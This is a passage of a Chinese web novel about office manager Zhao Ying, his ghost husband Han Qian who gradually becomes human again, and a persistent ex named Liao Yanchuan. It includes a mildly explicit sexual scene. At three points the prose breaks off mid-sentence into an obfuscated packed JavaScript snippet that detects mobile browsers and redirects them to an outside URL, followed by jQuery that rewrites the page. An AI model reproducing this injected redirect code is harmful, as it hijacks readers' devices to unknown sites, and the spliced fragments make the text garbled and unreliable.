在云升的这份工作在外人看来是很体面的,既是中层领导,薪资也足够丰厚,除了得透支生命,几乎没什么缺点。 换句话说,透支生命就是最大的缺点了。 “我有个在瑞士的朋友读的是地球与海洋科学专业,等天气再热些,我给周宁托个梦,让他帮忙联系一下……看能不能约上他们科考队合作的旅行团。” 韩谦絮絮叨叨地说:“在沙滩上看海最没意思了,赵郢,你要是愿意休年假,我带你去特罗姆瑟追鲸群。相信我,你绝对会被震撼到。” “那个时候如果我还维持着现在这副样子,兴许我们还能省一张船票,你说呢?” 枕边人久久没有回应,他扭头望过去,小心谨慎地等了一会儿。须臾,见赵郢还是安静不动,韩谦把脑袋凑到他的脸颊边,落下一个没有亲到实处的吻。 第二天,赵郢顶着一头乱发起床。 昨晚韩谦在他耳边碎碎念的时候,他没有睡很深,依稀听到了几个关键的字眼,例如“鲸群”“科考队”,害得他做了一晚上有关于海的梦。 梦境前半段出演加勒比海盗,后半段则是海底总动员。 赵郢睡醒时仿佛刚从甲板上下来,脑袋一阵阵地发晕,路过韩谦还被他扶了一把。 “你昨晚说什么来着?”赵郢把挤了牙膏的牙刷塞进嘴里。 韩谦耳尖薄红,答非所问道:“什么?昨晚我没有亲你。” 赵郢刷牙的动作停了一秒。 “借你的iPad绑了我的银行卡,想喝什么自己点。在家好好看着公主,别再让它乱啃我的波士顿蕨,以及——” 赵郢将睡得翘起来的发梢抚平,在玄关换鞋,接着说:“禁止来公司骚扰我。” 他右手搭着置物柜稳住重心,中指根部的那一圈凹陷被一枚戒指填满,被雪葬了一整年的婚戒得见天日,喜气洋洋地泛着光。 韩谦强压着嘴角:“知道了……” 赵郢出门后,他还追出去几步,望妻石一般探着身子,不舍地朝电梯的方向挥挥手:“你早点回来。” 赵郢心情复杂地在电梯关门键上多按了几下。 23. 第 23 章 出门不到五分钟,赵郢便收到了备注为“公主”的联系人发来的消息。 电梯里没信号,走出去的一刹那,十几条未读犹如洪水般朝赵郢滚滚涌来,将他砸了个措不及防。 以前韩谦有这么粘人吗? 他等红灯的时候思考了好久,起步比别的车慢了一些,因此收获好几道不耐烦的喇叭声。 把车停进公司的地下车库,赵郢掏出手机,未读消息从十几条增加到惊人的55条。 他随手翻了翻,多半是些没营养的口水话。 韩谦分享欲旺盛这一点,在他们交往的第一年就初露端倪了。那时英国某著名畅销小说改编的系列电影第一次在大陆重映,韩谦当晚便订了两张VIP厅情侣双人座的票,拖着赵郢风风火火地检票入场。 赵郢的童年里并不包含《哈利·波特》,对此没有特别的情结,但韩谦与他不同。在灯光全黑的影厅,赵郢数次感受到他投来的目光,这人蠢蠢欲动地想跟他说些什么,似乎又怕惊扰到别人,克制地用眼神代替了。 电影开始到结束,他们十指紧紧相扣,从未分开过一秒。 散场以后,韩谦改为搂着他的腰,亲昵地挨着赵郢的耳尖说,他小时候见过三位主演。 “准确来讲,是婴儿时期。那会儿我妈妈在准备一场试镜,要去英国见见导演和编剧,试镜地点旁边就是《哈利·波特》剧组的片场。” 南水市的冬天飘着刺骨的雨雪,韩谦呵出一团白雾,睫毛也落了雪:“她还托人要了签名,可惜在我们某一次搬家期间弄丢了,便宜了那个捡到的人。” “我记得电影拍了很多部,之后你们没再去看看吗?”赵郢问道。 韩谦摇摇头,说:“我入学后,她就很少接需要离开美国的工作了。” “赵郢,我们抽空去一趟英国的环球影城吧。听起来可能有点无聊,我大二那年去过一次,但我想,一个人去和有爱人陪着去是不一样的,你说呢?”韩谦低眸询问他的意见。 赵郢将喝空的可乐杯扔进垃圾桶,在那片雀跃的蓝海中,他微不可查地轻笑一声。 “行啊。”他说,“我年假比你多四天,我们总共有二十天重合。在你的旅行计划里,还有北海道滑雪、肯尼亚追动物大迁徙和马尔代夫浮潜这几项。” 赵郢伸出四根手指,“现在又多一个了。” 韩谦永远都有花不完的精力,好像对生活、对未来充满无限的热情与希望,这是赵郢所没有的空白。 以前是他来填补,现在貌似也还是。 因为某个人昨晚趁他睡觉,已经擅作主张地计划好了要带他看鲸群。 一踏入公司,赵郢掩着唇小小地打了个哈欠。为了保证今天的工作效率,他掉头到一楼的咖啡厅买了杯加浓冰美式。 在等候区排队时,他开始选择性地回韩谦的消息。 公主:[已拖地。鬼做家务原来也可以这么轻松!(图片)(图片)] 赵郢回的是“干得不错”。 公主:[赵郢,你为什么没有Netflix会员?] [不知道怎么弄,你自己研究研究。] 公主:[在你衣柜角落搜到了一条煊赫门,很好,充公了。(图片)] [……随你。] 大不了他下次再买,赵郢心想。 公主:[下班帮我打包一份陈记的核桃巧克力拿破仑,谢谢。(爱心)] [你又吃不了。] 公主:[烧给我!(比格暴怒.jpg)] 赵郢回了一个OK的emoji,紧接着向正在打包的店员说“不用包装袋了,我直接拿走”。 他隔着纸巾接过咖啡,等电梯的时候碰到仓促站定的白舒沅,对方刘海缭乱,看着无精打采的。 “早上好啊赵哥。”白舒沅望向同样没怎么睡好的赵郢,晃晃同款加浓冰美式,很命苦的预期,“如此默契的配置。” “你昨天干什么去了?” 赵郢抬手按下电梯键,“我们近期应该没有强制熬夜加班的项目。” 白舒沅做苦瓜脸。 电梯又进来一些人,到了楼层,她出去后才小声说:“廖经理昨晚找我呢。” “廖彦开?”赵郢挑眉,“他找你做什么?你又不是他团队的人。” “他说他昨晚有事找你,但你没接他电话,只好来问我喽。” 白舒沅耸耸肩,说:“百分之九十九都是工作上的事。罗廉开的手下净是中看不中用的草包,而且廖经理和我诉苦呢,说罗廉开没交接到位,一堆烂摊子。” 赵郢翻开通话记录,确实有两通未接来电,估计是他手机开了静音,没听到。 “剩下百分之一呢?”他抓到重点。 “噢……” 白舒沅吸了一大口冰美式,被苦得直皱眉:“廖经理打听了一下你的感情状况,我说赵哥一向是个神秘的人,我不是很清楚呢。” 神秘的赵郢赞许地点点头:“很好。” “赵哥,我刚刚才发现。”白舒沅咬着吸管口,指了指他那枚镶嵌着硕大彩宝的婚戒,“拼多多还是淘宝?能把链接分享给我吗?” 赵郢一怔,失笑道:“这个啊,地摊随便淘的。你午休上1688看看?” 白舒沅比了个“好的”手势。 下午赵郢办公室来了一位稀客,是廖彦川团队的小方,葬礼上跟在罗廉开身后狐假虎威的那只“狐”。 罗廉开一走,他的处境显而易见地微妙起来,敲门进来时还同手同脚了一会儿。 “赵经理,廖哥请大家喝福莲楼,您想点哪一款?我记一下。” 赵郢将镜框上推少许,眼睫放松地垂落,他不假思索道:“黑糖珍珠,少冰全糖。” “替我谢谢你们廖经理。”他客气道。 下午四点钟,黄昏的阳光透过半开的百叶窗,倾洒在转了一百八十度的办公椅靠背上。 新甲方不好相处,这让赵郢很头大。 不管入职多久,遇到难缠的人,该烦的心一滴也少不了。 他正在放空大脑,此时办公室外有人敲门,赵郢闭眼说了声“进”,心里估算着是小方来送奶茶了,又补了一句“放桌上就好,辛苦”。 “不辛苦。” “小方”放完奶茶袋还没走,声音夹杂着笑意:“小郢,记忆中你很少喝这么甜的东西。” 从那个人说第一个字起,赵郢就知道他不是小方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029029|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“人都会变的,廖经理。”他转过来,镜片闪着冷光,“以前觉得某样东西好,不代表它真的好。方便面的包装袋上不也写了‘图片仅供参考’吗?都是同一个道理。” 廖彦川事不关己地“呵呵”笑了两声,不知道是装没听懂还是真没听懂。 “你比以前能言善道许多。”他反手关上门,“就是容易叫人分不清,你说的话哪句是真的哪句是假的。” 赵郢没说话,左手在桌底开了手机录音。 廖彦川:“昨晚你说在哄男朋友,可我问了小白,她并不清楚你的感情状况。小郢,有些事不必瞒……” “有男朋友就一定要昭告天下吗?” 赵郢冷笑道:“虽然都是保密,但我的性质算是光明磊落得多。只是不想被人议论而已,又不是瞒着另一半去相亲。” “这么久了,你竟然还没放下吗?” 廖彦川惊讶地张了张嘴,表情假得令人作呕:“小郢,我没想到你一直对我念念不忘。” 赵郢:“……” 他被实实在在地恶心到了,刚打算反击,只见廖彦川视线扫过他右手中指的婚戒,收敛神情道:“这是莱茵拍行两三年前交易的拍品,如果我没记错,它的成交价是108.25万美元。” “你知道拍下这枚戒指的人是谁吗?” “是谁?”赵郢反问他。 廖彦川表情有些难以言喻,他为难地说:“我也不知道。” 参加拍卖的不一定是竞买者本人,也有可能委托他人代为出席。 幸好韩谦没出面,赵郢心想,廖彦川这是在套他的话。 手段还是这么低级。 “你真的有伴侣了吗?”廖彦川半信半疑道。 赵郢看他只觉得碍眼,就像身边围了只赶不走的苍蝇,“怎么,你想补一份结婚礼金?” 廖彦川避而不答,又说:“有机会的话,兴许我可以见见你的男朋友……以学长和同事的身份。” “不了吧。”赵郢婉拒道。 “人鬼殊途,我的男朋友点子背,一不小心英年早逝了,可怜我年纪轻轻为他守寡,每年清明还得给他上坟。”他眼尾轻轻上挑,眼神戏谑,“还是说你想到地底下见他?” 廖彦川被他噎得讲不出话,神色愕然且怪异,仿佛赵郢在讲什么地狱笑话。 “小郢,这种玩笑是不是不太礼貌?你男朋友要是知道了,不好吧。” “有什么不好?” 赵郢单手支着脑袋,圆珠笔在另一只手中转得飞快,“对了,我男朋友最爱喝福莲楼的全糖黑糖珍珠了,今天谢谢廖经理买单,等下了班我就把奶茶烧给他。” “哦,就说是我学长兼同事送的,他肯定会很喜欢。” 正值春夏交替,赵郢的办公室平白冒出一股阴森森的寒气。 廖彦川瞪大眼睛,被他吓得不轻,随便搪塞几句便走了。 同一时刻的韩谦被连着编排了好几次,对着空气打了足足半分钟的喷嚏。 比格犬朝他递去担忧的目光,狗头探出一小尖。韩谦揉着它扇子一样的大耳朵,自言自语地喃喃:“是不是快变成人了?鬼不会感冒的吧。” 公主“汪”了一声,像是附和。 24. 第 24 章 南水市即将迈入五月。 盛夏到来之前,云升内部组织了一场一年一度的露营团建,地点选在隔壁市郊的莫湖岛——这是去年全体员工一致抗议的结果。 原因无他,刘总是个骨灰级登山爱好者,早期夹带私货,拖着几十号人灰头土脸地把国内第一到第五的山爬了个遍。 职员里技术宅占的比例不小,不爱运动的更是数都数不过来。熬夜加班已经很伤身体了,大家不约而同地在“得罪领导”和“得罪身体”之间选择了前者。 于是,“今年公司团建是露营还是爬山”的匿名投票环节,“露营”这个选项压倒性胜出。 里面也有赵郢宝贵的一票。 两辆二十三座中型大巴停在公司楼下,赵郢一身宽松休闲装,背着容量空间充足的户外包“登登”踏上车内的三段台阶。 第二排靠窗的位置,没能如愿的刘总正兴致缺缺地听着有声小说,赵郢坐在他后面一排,看着挺清醒,其实已经走了有一会儿了。 都怪韩谦。 赵郢在心底给他扣了不下十顶帽子。 昨天一说起要参加团建,这人百般不舍千般不愿,闹腾了半天想跟他一起去。他严词拒绝,韩谦非说是他有意与廖彦川私会。 “我看你是刷短视频把脑子刷坏了。”赵郢绕开他,将苹果连皮咬了一口,“但你要是真这么想,我也不是不可以——” “我没这么想!” 韩谦蹲在他面前,脑袋向旁边一偏:“我只是不想你们相处时间太久……当我没说好了。” 他不止一次产生过类似的想法,也在某些神智不清的时候向赵郢倾诉过数回。 赵郢知道他在担心什么。 六岁的年龄差不是一个小数字,他们相遇的第一个年头,赵郢就足够沉稳优秀了,他是引导型的恋人,许多东西韩谦都是第一次在他这里学到。 这样的赵郢很容易给人一种“他是不是生来如此”的误解。 一次大扫除,韩谦偶然翻到一本大学毕业相册。 一张张分量不轻的纸页掠过指尖时,看着照片里无数个青涩稚嫩版赵郢的脸,他得到答案: 不是的。 赵郢的过去与现在,是两个不同的模样。 他拥有的是年长的那一半“赵郢”,而年轻的那一半,属于另一个人。 尽管那个人早已成为赵郢生命里无关紧要的路人甲,但他依旧好嫉妒。 韩谦的身高体型十分优越,以至于蹲下来也是很大一只。赵郢忘了自己是否说过,韩谦生闷气的样子很迷人…… 说了吗?好像没印象。 “别揉了,赵郢。”韩谦恢复实感的身体部位越来越多,那张英俊立体的面容被搓揉得微微泛红,他小声说,“脸痛。” 赵郢的手朝左右两侧一撤,这是他蹂躏比格公主的手法。 “不是不想你去,公司安排的大巴座位都满了,两个多小时的车程,你难道要趴在车顶上吗?”他手肘轻轻落在膝头,小臂垂落,中指的婚戒熠熠生辉,“我们目的地见,同意的话把手放上来。” 赵郢手掌摊平,掌心朝上。 韩谦不情不愿地拍了他一下,“就这?” “那你要怎样?”赵郢有点想笑。 韩谦主动迅猛地合上眼睛,脸颊抬高四十五度,暗示明确。 赵郢却还在失神当中。 鬼魂形态的韩谦体温很冷,赵郢用手盖住他上半张脸的时候,仿佛握着一杯加满冰块的可乐杯,外壁冒着水珠那种。 手心的皮肉是极其敏感的,轻轻搔一下都会觉得痒,更别说被睫毛上下刮弄这种程度了。 以韩谦眼皮抖动的频率,不难看出他正在紧张。 他们有很久没亲近过彼此了,最近的一次都是在各自的梦里,赵郢陡然生出几分不好受的感伤。 “还要我等多久啊赵郢?再不亲我就……” 韩谦“唔”了一声,被两瓣柔软贴住嘴唇。 他们仿佛同频共振,哪怕已经形影不离有一段时间,那种失而复得的感觉宛如初次爆发的火山,喷涌在两人交叠的胸口间。 论吻技,赵郢四年前是略胜一筹的,可他年轻的爱人是位不掺丝毫水分的恋爱天才,不光实现了弯道超车,还屡次三番把他亲得气息紊乱。 赵郢有些后悔亲上去了。 他的下唇被韩谦含着厮磨,犬齿掠过红润的饱满处,稍一用力,便像公主那颗被捏紧的弹力球,陷出一道诱人的弧。 “行了……韩谦,嗯……”赵郢闷闷地哼了一声,不自觉向后倒。 他习惯性地放软身子,试图勾住韩谦的胯部,一秒后,赵郢的两条腿砸回沙发垫。 “……” 韩谦尴尬地咳嗽几声,眼神飘忽:“抱歉,目前腰还不具备实感。” 他诡异地停顿少许,又说:“那里也是。” 赵郢翻了个面,心想他如果是动漫人物,此时头顶上方应该飞过一片黑色乌鸦,以及一串黑点。 “呵呵,那怎么办呢?”赵郢的声音没有起伏,颈部的烫红消褪下来,只残留一层薄粉。 但他的身体依旧处在疲软状态中,柔软舒适的睡衣布料堆出层层叠叠的褶皱,隆起的阴影像一座小山。 韩谦也发现了他的异常,额角青筋暴起,忍得难受。 赵郢呼噜噜地薅着他头顶的棕毛,转而侧躺下来,腿根微微分开,轻声:“要不你看着我弄?” 韩谦扯出一抹笑,瞳孔颜色貌似加深了些,一个字一个字地往外蹦:“赵郢,我劝你最好别这么做。” 别这么做? 当了十几年好学生的赵郢:“哦。” 那他一定要这么做了。 最后,事实证明没有金刚钻真的别揽瓷器活。赵郢这个常年坐办公室的体力,放在韩谦面前就像小鼻嘎吉娃娃与伯恩山。 也许是没能完全释放,把自己压抑了一部分的原因,韩谦的手工活暴烈且激进,不光强行打乱了赵郢的节奏,还恶意地进行缩短或者延长,这个滋味简直和坐牢不相上下。 所以第二天赵郢屁股挨上大巴座椅时,下半身宛如掉线,腰部更是一片酸软。 在他瘫在座位放空时,邻座的位子多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034617|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个人。 “呕吐袋和晕车药,我多准备了一份。”廖彦川的笑容看着无懈可击,好像把赵郢说过的话忘了个一干二净。 赵郢没接,说:“廖经理的位置似乎不在这里。” “哎,是我让小廖换过来的。”刘总戴着蓝牙耳机,有声小说估计是没放了,暗戳戳偷听他们讲话,“车上座椅太硬,一路睡也睡不好,小廖来了大家可以一块聊聊天嘛!” 领导的话最好不要反驳,赵郢没说什么。 路上刘晋还真和廖彦川有一搭没一搭地聊起来,中年人,关注的话题一般都绕不开经济、教育、世界格局。还好刘晋对此没有太多“自己的见解”,浅浅探讨而已。 “……AGI是近几年的大势所趋,我来南水之前,燕城总部已经有接触这个领域的意向了。” 廖彦川一只手放在刘晋座椅背后的防摔扶手上,目光若有若无地扫过身旁人:“可惜韩谦了,这小孩年纪轻轻就是行业佼佼者wAI的控股股东,如果有他在,云升拓展海外市场会很容易。” 他说话声音不大不小,前后两排刚好听得见,但在座所有人神色各异,连刘晋都不知道怎么接他这话。 大家对韩谦这个人的态度十分复杂。 刘晋是当中最早认识他的人,韩谦刚回国那几年,小老外人生地不熟,一双灰蓝色眼睛灯泡似的,又凶,在学校和人干架被请家长,全是他代乔彬程挨训。 后一排,赵郢团队里的白舒沅、小李,一个是韩谦刚入职时带他的前辈,一个是受过他照顾的后辈。 赵郢就更不用说了。 刘晋笑呵呵地打破僵局,“小韩一开始是个刺头,让赵郢操了不少心。后来这小子被调回总部,中途来南水出了几次差,次次都是拿着我的工卡溜回来蹭公司食堂的饭菜……” 赵郢眉梢皱成一团,他怎么没发现有这事? 不过这一年确实有那么几次,他在办公室加班不小心睡着,醒来时身上披了件外套,闻起来有股洗衣店的味道。他在团队群聊里问这是哪位雷锋做好事不留名,也没人承认。 他从没往韩谦身上想过,因为那人的衣服多多少少沾着男士香水的气味,西柚柠檬、烟熏木头,或是其他。 而且,当时赵郢和他断得斩钉截铁,他也不认为有人会一而再再而三地为他回头。 话题聊到韩谦这里便无声地断开了,刘晋又听起有声小说,从前排传来轻微的鼾声。 两个多小时的路程,睡倒大巴一片人,赵郢也有些困意了。 只是他提防廖彦川,一直挣扎着没闭眼。 “小郢。” 廖彦川轻声做了个口型,用只有他们两个人能听到的音量说:“你那位肯一掷千金的男友英年早逝,韩谦也在今年意外过世,该不会……他们是同一个人吧。” 赵郢落到车窗外的视线一点点回收,他盯着廖彦川那双看似温柔似水的眼眉,心想多年前自己的确瞎了眼。 “韩谦被安葬在长怡墓园,你这么好奇,不如亲自问问他?” 他笑了一声,眼珠黑漆漆的:“你们应该很有话聊。” 25. 第 25 章 莫湖岛毗邻一座海拔不高的小山,四面八方有山有水,仿佛一片安静的世外桃源。 过夜的帐篷一晚118元,赵郢支好以后将户外包扔进去,拖出睡袋和防潮垫,简单布置了一下。 忙完他朝周围走了走,顺便帮其他同事也打好帐篷,最后想到刘总可能没什么露营经验,刚打算去他那边看看情况,结果不远处已经有人里里外外搭上手了。 廖彦川应该上知乎开一个收费版职场专栏,一定能赚得盆满钵满,赵郢在心底腹诽。 “赵哥!”白舒沅朝他挥舞手臂。 等赵郢走近,他看到白舒沅这聚集了五六个人,男女都有,有人扛着鱼竿,有人穿着专业登山靴,正你一言我一语地计划接下来怎么玩。 “小李他们待会儿去湖边钓鱼,我们几个准备收拾收拾去山上看看风景,一起吗赵哥?”白舒沅盛情邀请道。 小李是他们团队的传奇空军王,什么稀奇古怪的都钓上来过,除了鱼。 赵郢拍掉不小心蹭到手心的尘土,说:“行啊,等我两分钟,我带点装备跟你们一块走。” “装备”这个词很容易被误解为钓鱼佬的鱼竿,赵郢顿了顿,又补充说:“去爬山。” 登山包里塞了一个便携式腰包,装满了出发前夜韩谦精挑细选的野外用品,甚至还有他们离婚前没用完的避孕套。 那时赵郢看着标了“超大号”的包装,欲言又止:“这个就不用了吧。” “不用?”韩谦拿了两盒,把空余的空间挤压到最小,“明明是很有必要好吗。莫湖岛有山,登山的时候把这个戴手上可以有效防止摔伤或伤口感染。” 赵郢:“……”哦,这样。 韩谦蹲在地上抬眸望他,“想哪去了?” 赵郢不语:“嘁。” 当他现场把超大号避孕套拆开,依次给每位同事发了一个时,大家同时露出尴尬又不好意思说的表情。 “那座山虽然小,但杂草碎石很多,走两步就有树枝挡道,戴这个能避免手部摔伤。”赵郢认真科普道。 众人齐齐松了一口气,像解冻的冰块,面部表情生动丰富许多。 赵郢憋着笑,将昨晚韩谦对他说的话重复了一遍:“想哪去了啊你们?一个个心思不单纯,都给我反省反省。” 须臾,来自不同人的笑声在半空中高低起伏地交错开来。 上山的时候,赵郢领头带他们走了一条还算平整的小道,他用一根捡来的木棍荡开前方的屏障,动作娴熟,显然之前来过这里。 缀在他身后的小尾巴里也有人这么问了,赵郢发出一声单音,思绪不禁飘到几年前。 那是他和韩谦在一起的第一年,约会的地方是韩谦选的,因为赵郢有要求,不能影响下周一上班、尽量在南水市内,最多到隔壁市。还有,不能爬太高的山,他没力气。 双人的露营帐篷有点小沉,他们换着背,没走到山顶,韩谦拉着他在视野开阔的某一处停下来。 “这里特别适合看日落。”韩谦说。 也是一个春季,气温怡人,风光正好。 晚霞像一卷铺开的鎏金宣纸,流云行走其间,时不时变换着形状。一根巧克力蛋白棒伸到赵郢眼前,他接过去,耳边恰巧传来韩谦咬断蛋白棒的“咔嚓”声。 “这是我人生中爬过的最轻松的山。”韩谦吞咽完了才说话,嘴角有一点碎渣,“但却是最快乐,最有成就感的一次。” 赵郢爱干净的毛病大爆发,食指蹭掉那粒巧克力屑,“为什么呢?我还以为你会觉得没尽兴。” 韩谦身上保留了一些老外的习性,像喜欢极限运动、经常健身,在阳光明媚的沙滩上晒背,把自己晒出均匀的小麦色,尽管没多久又白回去了。 他眼底倒映着日落的光辉:“完全不会。我大一入学的时候,跟着社团的朋友爬过喜马拉雅。我是小队里高反最严重的一个,只觉得吸进肺部的每一口不是空气,是刺痛的冰刀——但最后我还是坚持攀到了峰顶。” “攀登的过程就像征服和对抗。”韩谦耸耸肩,“这次陪着你,是纯粹的欣赏风景,每种玩法都有它的乐趣。” 赵郢有些听呆了,半天后愣愣地点了点头,表示赞同。 在大多数人看来,年轻的恋人代表着无限的精力、有限的包容和耐心,除了年轻力壮以外一无是处。 赵郢并不这么想。 他不知道这是一种什么样的感觉,无法形容——他本以为这段恋爱只是一场茶余饭后的消遣,存续时间不会太长,爽够了就行。 可脑子里有一个声音,每一天都在对他公开处刑,举着喇叭高喊:赵郢,你沦陷了! 他还记得小学三年级写过的作文,题目是“我想成为——”,同学们众说纷纭,有的想抱着喜之郎上太空,有的想做大英雄,有的想暴揍奥特曼动画片的大怪兽。 第二天赵郢的作文交上去,他半自拟的题目是,他想成为一只鹰。 拥抱过自由的人不会渴望自由,陷落在沼泽的飞鸟才想重回天空。 或许,韩谦就是他想成为的,擅长高空盘旋、栖息地遍及全世界的猛禽。 太阳在天际摇摇欲坠的那一刻,赵郢坐在树墩上,韩谦先是站起身,再然后单膝跪在他面前,棕色的发丝仿佛打上浅淡的金色框线。 “咳,其实并不是想要求婚。”韩谦轻轻圈着他的手腕,下巴抵在赵郢手心,“就当是合适氛围下的一种承诺吧。赵郢,我希望陪我看每一场日落的人是你,陪我一直走下去的人也是你……好吧这跟求婚也没多大区别。” 韩谦摸了摸裤兜,为难地说:“可是我忘了带戒指。” 求婚日他本来另有打算的。 “为什么不看日出?”赵郢问。 韩谦噎了一下,说:“怕你起不来。” 赵郢:“……” “赵郢。” 韩谦伸出一根手指,修长的指节缓缓弯曲,在他右手中指的尾部形成一个牢牢的环扣,“暂时用这个当戒指了好不好?”他清清嗓子,“你愿意……” 赵郢觉得有些好笑,但又有种说不出的感动。 你完了,他这样想着,然后指尖轻轻往回勾。 “我愿意。” 此刻同一个地点,同一个季节,其他同事已经四散开各自拍朋友圈的九宫格,赵郢走到那颗树墩旁边,摸了摸粗糙表面一圈圈不规则的环形树轮。 大巴到达莫湖岛,韩谦没有如约出现,不知道这条鬼飘到哪个山头了,赵郢心想。 太阳即将落山,他听到白舒沅喊人的声音,大概是要走了。 正当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037215|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他准备动身,斜后方密集的树丛中传来哗哗异响,他已经做出“H”的口型,却看到来的人不是韩谦,是廖彦川。 “……怎么又是你。”赵郢无语道。 “刘总让我来找你。”廖彦川一边过来一边低头摁亮火机,烟尾钻出一圈呛人的白雾,“问了好几个人,听小李说你在山上。” 赵郢双手插进外套口袋,条件反射地开了录音键:“哦,那下山吧。” “赵郢,你真是一刻也不想和我呆。”廖彦川敛眸笑道。 “你不是知道原因吗。”赵郢怪异地看了他一眼,“我为什么要和一个背信弃义的人呆在一起?没看着你的脸吐出来,我已经很有素质了。” “毕业后我每隔一段时间都托人把我的联系方式送到你手里,多少年了……九年?十年?你一次也没放在心上。” 廖彦川笑容有些崩裂,他高声道:“你以为是我情愿的吗赵郢?我父母很传统,他们接受不了同性恋,逼我结婚生子——现在同性都他妈合法了,他们还把老一辈的话奉为圭臬!我那么爱你,怎么舍得和你分手……” “你恶不恶心。” 赵郢没有表情,平静地说:“我真的要吐了。” “你爱我,所以瞒着我跟家里安排的女生相亲。你爱我,所以宁可让我不明不白地留在你身边,也不肯向我坦白一切,一起想个两全其美的办法。” “你哪里爱我了?”赵郢拂开被风吹乱的额发,“你通过婚姻,在那位杜总监的助力下平步青云,我看你享受得很。” “够了!” 廖彦川忍无可忍地打断他,上前一步试图拉扯赵郢的衣袖:“你只看到我表面的光鲜,赵郢,这么多年我一直很想你……我恨我自己当初为什么不能勇敢一点,哪怕反抗一次,也不至于彻底失去你。” 他说:“小郢,南水市的调令是我自愿申请的,这次我是为你来的。还有谁会像我一样爱你呢……韩谦吗?他死都死了。” “你他妈才死都死了!”赵郢一巴掌挥开他的手,怒不可竭地瞪着廖彦川,“再敢碰我,信不信我让韩谦爬出来揍你?” 廖彦川听笑话似的笑出声,他把烟头扔到脚下,用鞋底碾灭火光,一步步靠近赵郢:“只有傻子才信鬼神之说。韩谦是什么神奇宝贝吗?赵郢,他都化成灰——呃!” 眼前的男人轰然倒地,赵郢前一秒还以为他在演,后一秒看到廖彦川倒下后,手持一根粗壮木棍的韩谦,身心双双放松下来。 这人穿着一身黑,黑色卫衣、黑色兜帽、黑色口罩,比廖彦川还像骚扰犯。 不过赵郢用了不到一秒,一眼就认出他是谁。 “阎王派黑白无常把我接走,说是要做一份投诉回访。我说能不能改天,他死活不放我走,摁着我填那个破问卷。对了赵郢,我好像百分之百化出人……” 他没能说完,因为赵郢像一只凌空蹬起的猫,闪电般地撞进他的胸膛。 赵郢侧着耳朵,听到了迟来的心跳,每一下都蓬勃有力,体温也不再是冷冰冰的冰碴子。 他以为自己这么多天已经习惯了,一出声,哽咽地说不下一句完整的话。 隐忍再三,赵郢揪着韩谦的卫衣系带,把眼泪都抹在他胸口。 “对不起……对不起。” 对不起。 26. [锁] [此章节已锁] 赵郢和他抱了一会儿,然后听到下山的同事折返回来找人的声音。 “怎么办?”赵郢的下颚顶在韩谦胸骨正中间,掀开眼皮向上看他,将以一个难看的姿势倒在一旁的廖彦川忽视得很彻底。 “你要不躲躲?” 韩谦兜着手掌,贴合着一片细韧的腰身,他不轻不重地揉一揉捏一捏,仿佛患上了一种名为“赵郢饥渴症”的罕见病。 “都变回人了,又不是什么见不得人的东西。”他戴着口罩,声音闷闷的,“不过你这样说,有点像我们在偷情。” 韩谦上幼儿园的时候就在Greta的片场里生龙活虎地乱蹦跶了,好歹也是看着别人拍戏长大的,演技至少吊打一众只会瞪眼大叫的流量明星。 他屈指在赵郢肩膀上“咚咚”敲两下,另一只手恶趣味地揉了揉被休闲裤包裹着的软肉:“嫂子开门,我是我哥。” 赵郢:“……” 神经病。 他在同事赶到的前一刻把韩谦推远了些,嫌弃地拎着廖彦川的衣角,但没有要把他扶起来的想法,只是做做样子。 当小李扛着鱼竿第一个赶到,惊恐地问这是什么情况,赵郢抬手探着鼻息,神色自若地说:“廖经理滑了一跤,可能是磕到哪了,我没敢动他。” “帮忙打个120。”他说。 小李面露难色:“赵哥,我打不了,手机掉湖里了还没捞上来呢……” 他话刚说完,白舒沅一行人姗姗来迟,有人见状讶异地“嚯”了一声,不是对晕倒的廖彦川,而是对成功隐于阴影中,不细看压根看不出那里有个人的韩谦。 “你是?”白舒沅狐疑地朝他看过去。 两名男同事怕面朝下的伤患呼吸不过来,小心翼翼扶着廖彦川的脖子,给他的脑袋换了个角度。 赵郢站起身,发现韩谦不知何时又在全副武装的脸上添了副黑墨镜,看着像哪个精神病院跑出来的一样。 他解释道:“这位也是来露营的游客,半道上碰见的,担心我找不到人,所以留下来陪我照顾廖经理。” 小李傻呵呵地笑:“原来是游客啊,我还以为是在逃杀人犯呢,包这么严实。” 不包严实,直接把脸亮出来吓死你们吗,赵郢心想。 他看了看韩谦,小李其实也没说错,这身打扮简直离谱。 “抱歉,我刚整过容。” 韩谦一本正经地编瞎话,缓慢道:“新割的双眼皮拆线不久,还垫了鼻子打了玻尿酸。” 120到这得有一段时间,赵郢决定在场的人走一半留一半。他和韩谦作为目击者肯定要留下,其次是对韩谦的“整容项目”非常感兴趣的小李,再就是廖彦川团队的小方。 